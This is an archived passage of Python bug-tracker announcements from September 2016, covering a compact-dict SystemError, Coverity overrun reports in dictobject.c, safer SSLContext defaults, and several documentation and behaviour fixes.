I'm quite uncomfortable with C so I'm far from being able to propose a patch or describe why this would happen...

Victor Stinner seem to have made the last changes to these methods in http://bugs.python.org/issue27350 . Not sure if the etiquette is to add them to the nosy list in this case. 

Discovered because of nightly continuous integration with travis on github.com/xonsh/xonsh

----------
components: Interpreter Core
messages: 275283
nosy: mbussonn
priority: normal
severity: normal
status: open
title: compact dict : SystemError: returned NULL without setting an error.
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:24:54 2016
From: report at bugs.python.org (Mohanson Leaf)
Date: Fri, 09 Sep 2016 09:24:54 +0000
Subject: [New-bugs-announce] [issue28041] Inconsistent behavior: Get
 st_nlink from os.stat() and os.scandir()
Message-ID: <1473413094.07.0.556978499762.issue28041@psf.upfronthosting.co.za>


New submission from Mohanson Leaf:

os.stat(file).st_nlink gives 1 but same file's st_nlink from os.scandir(dir) gives 0.


"""
Inconsistent behavior: Get st_nlink from os.stat() and os.scandir()
Platform: Python 3.5.1 (v3.5.1:37a07cee5969, Dec  6 2015, 01:38:48) [MSC v.1900 32 bit (Intel)] on win32
"""

import os
import os.path

print('os.stat:', os.stat(__file__).st_nlink)

for entry in os.scandir(os.path.dirname(os.path.abspath(__file__))):
    if entry.name == 'stat.py':
        print('os.scandir:', entry.stat().st_nlink)

"""
os.stat: 1
os.scandir: 0
"""

----------
components: Windows
files: stat.py
messages: 275293
nosy: Mohanson Leaf, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Inconsistent behavior: Get st_nlink from os.stat() and os.scandir()
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44494/stat.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28041>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:11:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 11:11:10 +0000
Subject: [New-bugs-announce] [issue28042] Coverity Scan defects in new dict
 code
Message-ID: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Coverity Scan complains about 30 defects in the new code. Inada, I sent you an invite.

30 new defect(s) introduced to Python found with Coverity Scan.
3 defect(s), reported by Coverity Scan earlier, were marked fixed in the recent build analyzed by Coverity Scan.

New defect(s) Reported-by: Coverity Scan
Showing 20 of 30 defect(s)


** CID 1372734:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1133 in insertdict_clean()


________________________________________________________________________________________________________
*** CID 1372734:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1133 in insertdict_clean()
1127     insertdict_clean(PyDictObject *mp, PyObject *key, Py_hash_t hash,
1128                      PyObject *value)
1129     {
1130         size_t i, perturb;
1131         PyDictKeysObject *k = mp->ma_keys;
1132         size_t mask = (size_t)DK_SIZE(k)-1;
>>>     CID 1372734:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1133         PyDictKeyEntry *ep0 = DK_ENTRIES(mp->ma_keys);
1134         PyDictKeyEntry *ep;
1135     
1136         assert(k->dk_lookup != NULL);
1137         assert(value != NULL);
1138         assert(key != NULL);

** CID 1372733:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1557 in _PyDict_DelItem_KnownHash()


________________________________________________________________________________________________________
*** CID 1372733:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1557 in _PyDict_DelItem_KnownHash()
1551         mp->ma_used--;
1552         mp->ma_version_tag = DICT_NEXT_VERSION();
1553         if (_PyDict_HasSplitTable(mp)) {
1554             mp->ma_keys->dk_usable = 0;
1555         }
1556         else {
>>>     CID 1372733:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1557             ep = &DK_ENTRIES(mp->ma_keys)[ix];
1558             dk_set_index(mp->ma_keys, hashpos, DKIX_DUMMY);
1559             ENSURE_ALLOWS_DELETIONS(mp);
1560             old_key = ep->me_key;
1561             ep->me_key = NULL;
1562             Py_DECREF(old_key);

** CID 1372732:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 871 in lookdict_split()


________________________________________________________________________________________________________
*** CID 1372732:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 871 in lookdict_split()
865     lookdict_split(PyDictObject *mp, PyObject *key,
866                    Py_hash_t hash, PyObject ***value_addr, Py_ssize_t *hashpos)
867     {
868         size_t i, perturb;
869         size_t mask = DK_MASK(mp->ma_keys);
870         Py_ssize_t ix;
>>>     CID 1372732:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
871         PyDictKeyEntry *ep, *ep0 = DK_ENTRIES(mp->ma_keys);
872     
873         /* mp must split table */
874         assert(mp->ma_values != NULL);
875         if (!PyUnicode_CheckExact(key)) {
876             ix = lookdict(mp, key, hash, value_addr, hashpos);

** CID 1372731:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3433 in dictiter_iternextitem()


________________________________________________________________________________________________________
*** CID 1372731:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3433 in dictiter_iternextitem()
3427         } else {
3428             result = PyTuple_New(2);
3429             if (result == NULL)
3430                 return NULL;
3431         }
3432         di->len--;
>>>     CID 1372731:  Memory - corruptions  (OVERRUN)
>>>     "&d->ma_keys->dk_indices.as_1[d->ma_keys->dk_size * ((d->ma_keys->dk_size <= 255L) ? 1UL : ((d->ma_keys->dk_size <= 65535L) ? 2UL : ((d->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
3433         key = DK_ENTRIES(d->ma_keys)[i].me_key;
3434         value = *value_ptr;
3435         Py_INCREF(key);
3436         Py_INCREF(value);
3437         PyTuple_SET_ITEM(result, 0, key);  /* steals reference */
3438         PyTuple_SET_ITEM(result, 1, value);  /* steals reference */

** CID 1372730:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2333 in PyDict_Merge()


________________________________________________________________________________________________________
*** CID 1372730:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2333 in PyDict_Merge()
2327                    return -1;
2328             ep0 = DK_ENTRIES(other->ma_keys);
2329             for (i = 0, n = other->ma_keys->dk_nentries; i < n; i++) {
2330                 PyObject *key, *value;
2331                 Py_hash_t hash;
2332                 entry = &ep0[i];
>>>     CID 1372730:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "entry".
2333                 key = entry->me_key;
2334                 hash = entry->me_hash;
2335                 if (other->ma_values)
2336                     value = other->ma_values[i];
2337                 else
2338                     value = entry->me_value;

** CID 1372729:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 2756 in dict_popitem()


________________________________________________________________________________________________________
*** CID 1372729:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 2756 in dict_popitem()
2750                 return NULL;
2751             }
2752         }
2753         ENSURE_ALLOWS_DELETIONS(mp);
2754     
2755         /* Pop last item */
>>>     CID 1372729:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
2756         ep0 = DK_ENTRIES(mp->ma_keys);
2757         i = mp->ma_keys->dk_nentries - 1;
2758         while (i >= 0 && ep0[i].me_value == NULL) {
2759             i--;
2760         }
2761         assert(i >= 0);

** CID 1372728:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1734 in _PyDict_Pop()


________________________________________________________________________________________________________
*** CID 1372728:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1734 in _PyDict_Pop()
1728         old_value = *value_addr;
1729         *value_addr = NULL;
1730         mp->ma_used--;
1731         mp->ma_version_tag = DICT_NEXT_VERSION();
1732         if (!_PyDict_HasSplitTable(mp)) {
1733             dk_set_index(mp->ma_keys, hashpos, DKIX_DUMMY);
>>>     CID 1372728:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1734             ep = &DK_ENTRIES(mp->ma_keys)[ix];
1735             ENSURE_ALLOWS_DELETIONS(mp);
1736             old_key = ep->me_key;
1737             ep->me_key = NULL;
1738             Py_DECREF(old_key);
1739         }

** CID 1372727:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 1200 in dictresize()


________________________________________________________________________________________________________
*** CID 1372727:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 1200 in dictresize()
1194          * and that value is stored in me_value.
1195          * Increment ref-counts and copy values here to compensate
1196          * This (resizing a split table) should be relatively rare */
1197         if (oldvalues != NULL) {
1198             for (i = 0; i < oldkeys->dk_nentries; i++) {
1199                 if (oldvalues[i] != NULL) {
>>>     CID 1372727:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "ep0 + i".
1200                     Py_INCREF(ep0[i].me_key);
1201                     ep0[i].me_value = oldvalues[i];
1202                 }
1203             }
1204         }
1205         /* Main loop */

** CID 1372726:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 479 in new_keys_object()


________________________________________________________________________________________________________
*** CID 1372726:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 479 in new_keys_object()
473         DK_DEBUG_INCREF dk->dk_refcnt = 1;
474         dk->dk_size = size;
475         dk->dk_usable = usable;
476         dk->dk_lookup = lookdict_unicode_nodummy;
477         dk->dk_nentries = 0;
478         memset(&dk->dk_indices.as_1[0], 0xff, es * size);
>>>     CID 1372726:  Memory - corruptions  (OVERRUN)
>>>     Overrunning buffer pointed to by "(PyDictKeyEntry *)&dk->dk_indices.as_1[dk->dk_size * ((dk->dk_size <= 255L) ? 1UL : ((dk->dk_size <= 65535L) ? 2UL : ((dk->dk_size <= 4294967295L) ? 4UL : 8UL)))]" of 8 bytes by passing it to a function which accesses it at byte offset 8. [Note: The source code implementation of the function has been overridden by a builtin model.]
479         memset(DK_ENTRIES(dk), 0, sizeof(PyDictKeyEntry) * usable);
480         return dk;
481     }
482     
483     static void
484     free_keys_object(PyDictKeysObject *keys)

** CID 1372725:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2039 in dict_keys()


________________________________________________________________________________________________________
*** CID 1372725:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2039 in dict_keys()
2033         else {
2034             value_ptr = &ep[0].me_value;
2035             offset = sizeof(PyDictKeyEntry);
2036         }
2037         for (i = 0, j = 0; i < size; i++) {
2038             if (*value_ptr != NULL) {
>>>     CID 1372725:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "ep + i".
2039                 PyObject *key = ep[i].me_key;
2040                 Py_INCREF(key);
2041                 PyList_SET_ITEM(v, j, key);
2042                 j++;
2043             }
2044             value_ptr = (PyObject **)(((char *)value_ptr) + offset);

** CID 1372724:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1684 in _PyDict_Next()


________________________________________________________________________________________________________
*** CID 1372724:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1684 in _PyDict_Next()
1678         PyDictObject *mp;
1679         PyDictKeyEntry *ep0;
1680         Py_ssize_t i = dict_next(op, *ppos, pvalue);
1681         if (i < 0)
1682             return 0;
1683         mp = (PyDictObject *)op;
>>>     CID 1372724:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1684         ep0 = DK_ENTRIES(mp->ma_keys);
1685         *ppos = i+1;
1686         *phash = ep0[i].me_hash;
1687         if (pkey)
1688             *pkey = ep0[i].me_key;
1689         return 1;

** CID 1372723:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2790 in dict_traverse()


________________________________________________________________________________________________________
*** CID 1372723:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2790 in dict_traverse()
2784         PyDictKeysObject *keys = mp->ma_keys;
2785         PyDictKeyEntry *entries = DK_ENTRIES(mp->ma_keys);
2786         Py_ssize_t i, n = keys->dk_nentries;
2787     
2788         if (keys->dk_lookup == lookdict) {
2789             for (i = 0; i < n; i++) {
>>>     CID 1372723:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "entries + i".
2790                 if (entries[i].me_value != NULL) {
2791                     Py_VISIT(entries[i].me_value);
2792                     Py_VISIT(entries[i].me_key);
2793                 }
2794             }
2795         }

** CID 1372722:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3261 in dictiter_iternextkey()


________________________________________________________________________________________________________
*** CID 1372722:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 3261 in dictiter_iternextkey()
3255             i++;
3256         }
3257         di->di_pos = i+1;
3258         if (i > n)
3259             goto fail;
3260         di->len--;
>>>     CID 1372722:  Memory - corruptions  (OVERRUN)
>>>     "&k->dk_indices.as_1[k->dk_size * ((k->dk_size <= 255L) ? 1UL : ((k->dk_size <= 65535L) ? 2UL : ((k->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
3261         key = DK_ENTRIES(k)[i].me_key;
3262         Py_INCREF(key);
3263         return key;
3264     
3265     fail:
3266         di->di_dict = NULL;

** CID 1372721:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 626 in lookdict()


________________________________________________________________________________________________________
*** CID 1372721:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 626 in lookdict()
620         PyDictKeyEntry *ep0, *ep;
621         PyObject *startkey;
622     
623     top:
624         dk = mp->ma_keys;
625         mask = DK_MASK(dk);
>>>     CID 1372721:  Memory - corruptions  (OVERRUN)
>>>     "&dk->dk_indices.as_1[dk->dk_size * ((dk->dk_size <= 255L) ? 1UL : ((dk->dk_size <= 65535L) ? 2UL : ((dk->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
626         ep0 = DK_ENTRIES(dk);
627         i = (size_t)hash & mask;
628     
629         ix = dk_get_index(dk, i);
630         if (ix == DKIX_EMPTY) {
631             if (hashpos != NULL)

** CID 1372720:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 996 in find_empty_slot()


________________________________________________________________________________________________________
*** CID 1372720:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 996 in find_empty_slot()
990     find_empty_slot(PyDictObject *mp, PyObject *key, Py_hash_t hash,
991                     PyObject ***value_addr, Py_ssize_t *hashpos)
992     {
993         size_t i, perturb;
994         size_t mask = DK_MASK(mp->ma_keys);
995         Py_ssize_t ix;
>>>     CID 1372720:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
996         PyDictKeyEntry *ep, *ep0 = DK_ENTRIES(mp->ma_keys);
997     
998         assert(hashpos != NULL);
999         assert(key != NULL);
1000         if (!PyUnicode_CheckExact(key))
1001             mp->ma_keys->dk_lookup = lookdict;

** CID 1372719:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2522 in dict_equal()


________________________________________________________________________________________________________
*** CID 1372719:  Memory - illegal accesses  (OVERRUN)
/Objects/dictobject.c: 2522 in dict_equal()
2516             else
2517                 aval = ep->me_value;
2518             if (aval != NULL) {
2519                 int cmp;
2520                 PyObject *bval;
2521                 PyObject **vaddr;
>>>     CID 1372719:  Memory - illegal accesses  (OVERRUN)
>>>     Overrunning array of 8 bytes at byte offset 255 by dereferencing pointer "ep".
2522                 PyObject *key = ep->me_key;
2523                 /* temporarily bump aval's refcount to ensure it stays
2524                    alive until we're done with it */
2525                 Py_INCREF(aval);
2526                 /* ditto for key */
2527                 Py_INCREF(key);

** CID 1372718:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1667 in PyDict_Next()


________________________________________________________________________________________________________
*** CID 1372718:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1667 in PyDict_Next()
1661         Py_ssize_t i = dict_next(op, *ppos, pvalue);
1662         if (i < 0)
1663             return 0;
1664         mp = (PyDictObject *)op;
1665         *ppos = i+1;
1666         if (pkey)
>>>     CID 1372718:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1667             *pkey = DK_ENTRIES(mp->ma_keys)[i].me_key;
1668         return 1;
1669     }
1670     
1671     /* Internal version of PyDict_Next that returns a hash value in addition
1672      * to the key and value.

** CID 1372717:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 729 in lookdict_unicode()


________________________________________________________________________________________________________
*** CID 1372717:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 729 in lookdict_unicode()
723     lookdict_unicode(PyDictObject *mp, PyObject *key,
724                      Py_hash_t hash, PyObject ***value_addr, Py_ssize_t *hashpos)
725     {
726         size_t i, perturb;
727         size_t mask = DK_MASK(mp->ma_keys);
728         Py_ssize_t ix, freeslot;
>>>     CID 1372717:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
729         PyDictKeyEntry *ep, *ep0 = DK_ENTRIES(mp->ma_keys);
730     
731         assert(mp->ma_values == NULL);
732         /* Make sure this function doesn't have to handle non-unicode keys,
733            including subclasses of str; e.g., one reason to subclass
734            unicodes is to override __eq__, and for speed we don't cater to

** CID 1372716:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1255 in make_keys_shared()


________________________________________________________________________________________________________
*** CID 1372716:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1255 in make_keys_shared()
1249                 /* Remove dummy keys */
1250                 if (dictresize(mp, DK_SIZE(mp->ma_keys)))
1251                     return NULL;
1252             }
1253             assert(mp->ma_keys->dk_lookup == lookdict_unicode_nodummy);
1254             /* Copy values into a new array */
>>>     CID 1372716:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1255             ep0 = DK_ENTRIES(mp->ma_keys);
1256             size = USABLE_FRACTION(DK_SIZE(mp->ma_keys));
1257             values = new_values(size);
1258             if (values == NULL) {
1259                 PyErr_SetString(PyExc_MemoryError,
1260                     "Not enough memory to allocate new values array");

** CID 1372715:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 962 in _PyDict_MaybeUntrack()


________________________________________________________________________________________________________
*** CID 1372715:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 962 in _PyDict_MaybeUntrack()
956         PyDictKeyEntry *ep0;
957     
958         if (!PyDict_CheckExact(op) || !_PyObject_GC_IS_TRACKED(op))
959             return;
960     
961         mp = (PyDictObject *) op;
>>>     CID 1372715:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
962         ep0 = DK_ENTRIES(mp->ma_keys);
963         numentries = mp->ma_keys->dk_nentries;
964         if (_PyDict_HasSplitTable(mp)) {
965             for (i = 0; i < numentries; i++) {
966                 if ((value = mp->ma_values[i]) == NULL)
967                     continue;

----------
messages: 275307
nosy: christian.heimes, haypo, methane, xiang.zhang
priority: high
severity: normal
stage: needs patch
status: open
title: Coverity Scan defects in new dict code
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:18:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 11:18:41 +0000
Subject: [New-bugs-announce] [issue28043] Sane defaults for SSLContext
 options and ciphers
Message-ID: <1473419921.81.0.961538270346.issue28043@psf.upfronthosting.co.za>


New submission from Christian Heimes:

I like to introduce sane defaults for SSLContext options and ciphers:

Changed in version 3.6: The context is created with more secure default values. PROTOCOL_TLS is the default protocol. The options OP_NO_COMPRESSION, OP_CIPHER_SERVER_PREFERENCE, OP_SINGLE_DH_USE, OP_SINGLE_ECDH_USE, OP_NO_SSLv2 (except for PROTOCOL_SSLv2), and OP_NO_SSLv3 (except for PROTOCOL_SSLv3) are set by default. The initial cipher suite list contains only HIGH ciphers, no NULL ciphers and MD5 ciphers (except for PROTOCOL_SSLv2).

----------
components: Extension Modules, Library (Lib)
files: Sane-defaults-for-SSLContext-options-and-ciphers.patch
keywords: patch
messages: 275310
nosy: alex, christian.heimes, dstufft, giampaolo.rodola, janssen, ncoghlan
priority: high
severity: normal
stage: patch review
status: open
title: Sane defaults for SSLContext options and ciphers
type: security
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44500/Sane-defaults-for-SSLContext-options-and-ciphers.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28043>
_______________________________________

From report at bugs.python.org  Fri Sep  9 08:22:07 2016
From: report at bugs.python.org (Batiste)
Date: Fri, 09 Sep 2016 12:22:07 +0000
Subject: [New-bugs-announce] [issue28044] Make the sidebar in the
 documentation follow the section automatically
Message-ID: <1473423727.81.0.401970346659.issue28044@psf.upfronthosting.co.za>


New submission from Batiste:

Hi,

Here is a small patch for the documentation that make the sidebar follow the headers while scrolling through a long page.

http://imgur.com/UsrFAti

Test on Chrome and Firefox. Seems to work like a charm.

----------
assignee: docs at python
components: Documentation
files: following-sidebar.patch
keywords: patch
messages: 275315
nosy: batiste, docs at python
priority: normal
severity: normal
status: open
title: Make the sidebar in the documentation follow the section automatically
type: enhancement
Added file: http://bugs.python.org/file44502/following-sidebar.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28044>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:19:26 2016
From: report at bugs.python.org (wim glenn)
Date: Fri, 09 Sep 2016 17:19:26 +0000
Subject: [New-bugs-announce] [issue28045] minor inaccuracy in
 range_contains_long
Message-ID: <1473441566.35.0.794224681084.issue28045@psf.upfronthosting.co.za>


New submission from wim glenn:

The [commented] code summarising this algorithm is incorrect because % has precedence over -  

Hey, no big deal it's just a comment after all, but may as well fix it up.

----------
assignee: docs at python
components: Documentation, Interpreter Core
files: mywork.patch
keywords: patch
messages: 275353
nosy: docs at python, wim.glenn
priority: normal
severity: normal
status: open
title: minor inaccuracy in range_contains_long
type: enhancement
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44505/mywork.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28045>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:58:33 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 17:58:33 +0000
Subject: [New-bugs-announce] [issue28046] Remove the concept of
 platform-specific directories
Message-ID: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>


New submission from Zachary Ware:

As a follow-on to #28027, the attached patch removes the concept of platform-specific directories (Lib/plat-darwin, Lib/plat-x86_64-linux-gnu, etc).  I believe this should be fine for cross-builds (at least as fine as the previous solution for _sysconfigdata), but I'd like someone to test it for me since I have no experience with cross-builds.

----------
assignee: zach.ware
components: Build, Cross-Build
files: remove_plat.diff
keywords: patch
messages: 275360
nosy: Alex.Willmer, doko, ned.deily, xdegaye, zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Remove the concept of platform-specific directories
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44506/remove_plat.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:25:05 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:25:05 +0000
Subject: [New-bugs-announce] [issue28047] email set_content does not always
 use the correct line length for the base64 CTE
Message-ID: <1473445505.37.0.31180930974.issue28047@psf.upfronthosting.co.za>


New submission from R. David Murray:

The per-line character count is calculated incorrectly, such that some specified line lengths result in padding being added to each line, which is incorrect and breaks subsequent decoding.

----------
messages: 275373
nosy: r.david.murray
priority: normal
severity: normal
status: open
title: email set_content does not always use the correct  line length for the base64 CTE

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28047>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:26:38 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 09 Sep 2016 18:26:38 +0000
Subject: [New-bugs-announce] [issue28048] Adjust class-build method of Enum
 so final ordered dict more closely resembles definition order
Message-ID: <1473445598.15.0.0178037460772.issue28048@psf.upfronthosting.co.za>


New submission from Ethan Furman:

With the landing of ordered class namespaces the build order for Enum needs to be redone to at least keep the user-specified pieces' relative order intact:

>>> from enum import Enum
>>> class Color(Enum):
...   red = 1
...   blue = 2
...   green = 3
...   def primary(self):
...     return True
... 
>>> Color.__dict__.keys()
dict_keys(['_generate_next_value_', '__module__', 'primary', '__doc__', '_member_names_', '_member_map_', '_member_type_', '_value2member_map_', 'red', 'blue', 'green', '__new__'])

----------
assignee: ethan.furman
messages: 275374
nosy: barry, eli.bendersky, ethan.furman
priority: normal
severity: normal
stage: test needed
status: open
title: Adjust class-build method of Enum so final ordered dict more closely resembles definition order
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28048>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:40:51 2016
From: report at bugs.python.org (Michael Lee)
Date: Fri, 09 Sep 2016 18:40:51 +0000
Subject: [New-bugs-announce] [issue28049] Add documentation for
 typing.Awaitable and friends
Message-ID: <1473446451.47.0.453913099768.issue28049@psf.upfronthosting.co.za>


New submission from Michael Lee:

This patch adds documentation for Awaitable, AsyncIterable, and AsyncIterator to the typing module, mostly linking to the corresponding class in collections.abc.

It also briefly clarifies the documentation on generators to explain that you may use either Iterable or Iterator as the return type of a generator.

----------
assignee: docs at python
components: Documentation
files: document-awaitable.patch
keywords: patch
messages: 275379
nosy: docs at python, gvanrossum, michael0x2a
priority: normal
severity: normal
status: open
title: Add documentation for typing.Awaitable and friends
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44507/document-awaitable.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28049>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:11:31 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 19:11:31 +0000
Subject: [New-bugs-announce] [issue28050] test_traceback is broken by new
 CALL_FUNCTION* opcodes
Message-ID: <1473448291.52.0.407071935548.issue28050@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I skipped the failing tests just to be able to push my FASTCALL changes before Python 3.6 feature freeze.

I opened this issue to not forget to fix it.

----------
messages: 275396
nosy: Demur Rumed, haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: test_traceback is broken by new CALL_FUNCTION* opcodes
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28050>
